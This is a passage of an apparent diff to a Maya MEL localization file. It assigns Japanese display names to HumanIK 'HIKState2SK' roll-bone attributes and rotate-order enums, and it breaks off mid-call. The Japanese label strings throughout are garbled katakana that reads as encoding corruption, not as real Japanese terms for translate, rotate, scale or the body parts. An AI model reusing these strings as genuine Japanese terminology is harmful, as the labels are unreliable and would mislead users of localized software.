"メカモメヌーアロイ犹 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", "メカモメヌーアロイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4SC", "メカモメヌーアロイ犹 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4IS", "メカモメヌーアロイ犹 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ISx", "メカモメヌーアロイ犹 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ISy", "メカモメヌーアロイ犹 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4ISz", "メカモメヌーアロイ犹 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreR", "メカモメヌーアロイ犹 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreRx", "メカモメヌーアロイ犹 4 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreRy", "メカモメヌーアロイ犹 4 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PreRz", "メカモメヌーアロイ犹 4 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostR", "メカモメヌーアロイ犹 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostRx", "メカモメヌーアロイ犹 4 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostRy", "メカモメヌーアロイ犹 4 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll4PostRz", "メカモメヌーアロイ犹 4 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5T", "メカラエヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Tx", "メカラエヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Ty", "メカラエヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Tz", "メカラエヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5R", "メカラエヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Rx", "メカラエヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Ry", "メカラエヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Rz", "メカラエヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5S", "メカラエヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Sx", "メカラエヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Sy", "メカラエヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5Sz", "メカラエヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PGX", "メカラエヘネイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", "メカラエヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5SC", "メカラエヘネイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5IS", "メカラエヘネイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ISx", "メカラエヘネイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ISy", "メカラエヘネイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5ISz", "メカラエヘネイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreR", "メカラエヘネイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreRx", "メカラエヘネイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreRy", "メカラエヘネイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PreRz", "メカラエヘネイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostR", "メカラエヘネイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostRx", "メカラエヘネイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostRy", "メカラエヘネイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll5PostRz", "メカラエヘネイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5T", "メカラヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Tx", "メカラヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Ty", "メカラヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Tz", "メカラヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5R", "メカラヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Rx", "メカラヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Ry", "メカラヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Rz", "メカラヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5S", "メカラヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Sx", "メカラヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Sy", "メカラヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5Sz", "メカラヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PGX", "メカラヘネイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", "メカラヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5SC", "メカラヘネイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5IS", "メカラヘネイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ISx", "メカラヘネイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ISy", "メカラヘネイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5ISz", "メカラヘネイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreR", "メカラヘネイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreRx", "メカラヘネイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreRy", "メカラヘネイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PreRz", "メカラヘネイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostR", "メカラヘネイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostRx", "メカラヘネイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostRy", "メカラヘネイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll5PostRz", "メカラヘネイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5T", "メカモメエヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Tx", "メカモメエヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Ty", "メカモメエヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Tz", "メカモメエヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5R", "メカモメエヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Rx", "メカモメエヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Ry", "メカモメエヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Rz", "メカモメエヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5S", "メカモメエヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Sx", "メカモメエヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Sy", "メカモメエヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5Sz", "メカモメエヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PGX", "メカモメエヘネイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", "メカモメエヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5SC", "メカモメエヘネイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5IS", "メカモメエヘネイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ISx", "メカモメエヘネイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ISy", "メカモメエヘネイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5ISz", "メカモメエヘネイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreR", "メカモメエヘネイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreRx", "メカモメエヘネイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreRy", "メカモメエヘネイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PreRz", "メカモメエヘネイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostR", "メカモメエヘネイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostRx", "メカモメエヘネイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostRy", "メカモメエヘネイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll5PostRz", "メカモメエヘネイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5T", "メカモメヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Tx", "メカモメヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Ty", "メカモメヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Tz", "メカモメヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5R", "メカモメヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Rx", "メカモメヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Ry", "メカモメヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Rz", "メカモメヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5S", "メカモメヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Sx", "メカモメヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Sy", "メカモメヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5Sz", "メカモメヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PGX", "メカモメヘネイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ROrder", "メカモメヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5SC", "メカモメヘネイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5IS", "メカモメヘネイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ISx", "メカモメヘネイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ISy", "メカモメヘネイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5ISz", "メカモメヘネイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreR", "メカモメヘネイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreRx", "メカモメヘネイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreRy", "メカモメヘネイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PreRz", "メカモメヘネイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostR", "メカモメヘネイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostRx", "メカモメヘネイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostRy", "メカモメヘネイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll5PostRz", "メカモメヘネイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5T", "メカラアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Tx", "メカラアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Ty", "メカラアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Tz", "メカラアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5R", "メカラアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Rx", "メカラアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Ry", "メカラアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Rz", "メカラアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5S", "メカラアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Sx", "メカラアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Sy", "メカラアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5Sz", "メカラアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PGX", "メカラアロイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", "メカラアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5SC", "メカラアロイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5IS", "メカラアロイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ISx", "メカラアロイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ISy", "メカラアロイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5ISz", "メカラアロイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreR", "メカラアロイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreRx", "メカラアロイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreRy", "メカラアロイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PreRz", "メカラアロイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostR", "メカラアロイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostRx", "メカラアロイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostRy", "メカラアロイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll5PostRz", "メカラアロイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5T", "メカラヌーアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Tx", "メカラヌーアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Ty", "メカラヌーアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Tz", "メカラヌーアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5R", "メカラヌーアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Rx", "メカラヌーアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Ry", "メカラヌーアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Rz", "メカラヌーアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5S", "メカラヌーアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Sx", "メカラヌーアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Sy", "メカラヌーアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5Sz", "メカラヌーアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PGX", "メカラヌーアロイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", "メカラヌーアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5SC", "メカラヌーアロイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5IS", "メカラヌーアロイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ISx", "メカラヌーアロイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ISy", "メカラヌーアロイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5ISz", "メカラヌーアロイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreR", "メカラヌーアロイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreRx", "メカラヌーアロイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreRy", "メカラヌーアロイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PreRz", "メカラヌーアロイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostR", "メカラヌーアロイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostRx", "メカラヌーアロイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostRy", "メカラヌーアロイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll5PostRz", "メカラヌーアロイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5T", "メカモメアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Tx", "メカモメアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Ty", "メカモメアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Tz", "メカモメアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5R", "メカモメアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Rx", "メカモメアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Ry", "メカモメアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Rz", "メカモメアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5S", "メカモメアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Sx", "メカモメアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Sy", "メカモメアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5Sz", "メカモメアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PGX", "メカモメアロイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ROrder", "メカモメアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5SC", "メカモメアロイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5IS", "メカモメアロイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ISx", "メカモメアロイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ISy", "メカモメアロイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5ISz", "メカモメアロイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreR", "メカモメアロイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreRx", "メカモメアロイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreRy", "メカモメアロイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PreRz", "メカモメアロイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostR", "メカモメアロイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostRx", "メカモメアロイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostRy", "メカモメアロイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll5PostRz", "メカモメアロイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5T", "メカモメヌーアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Tx", "メカモメヌーアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Ty", "メカモメヌーアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Tz", "メカモメヌーアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5R", "メカモメヌーアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Rx", "メカモメヌーアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Ry", "メカモメヌーアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Rz", "メカモメヌーアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5S", "メカモメヌーアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Sx", "メカモメヌーアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Sy", "メカモメヌーアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5Sz", "メカモメヌーアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PGX", "メカモメヌーアロイ犹 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", "メカモメヌーアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5SC", "メカモメヌーアロイ犹 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5IS", "メカモメヌーアロイ犹 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ISx", "メカモメヌーアロイ犹 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ISy", "メカモメヌーアロイ犹 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5ISz", "メカモメヌーアロイ犹 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreR", "メカモメヌーアロイ犹 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreRx", "メカモメヌーアロイ犹 5 ミラェヌー x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreRy", "メカモメヌーアロイ犹 5 ミラェヌー y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PreRz", "メカモメヌーアロイ犹 5 ミラェヌー z" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostR", "メカモメヌーアロイ犹 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostRx", "メカモメヌーアロイ犹 5 ミラェコ x" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostRy", "メカモメヌーアロイ犹 5 ミラェコ y" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll5PostRz", "メカモメヌーアロイ犹 5 ミラェコ z" ); +setAttrNiceNameResource( "HIKState2SK", "fza", "メムカウス睫ワモーマカヤマ" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "ReferenceROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "HipsROrder", 1, 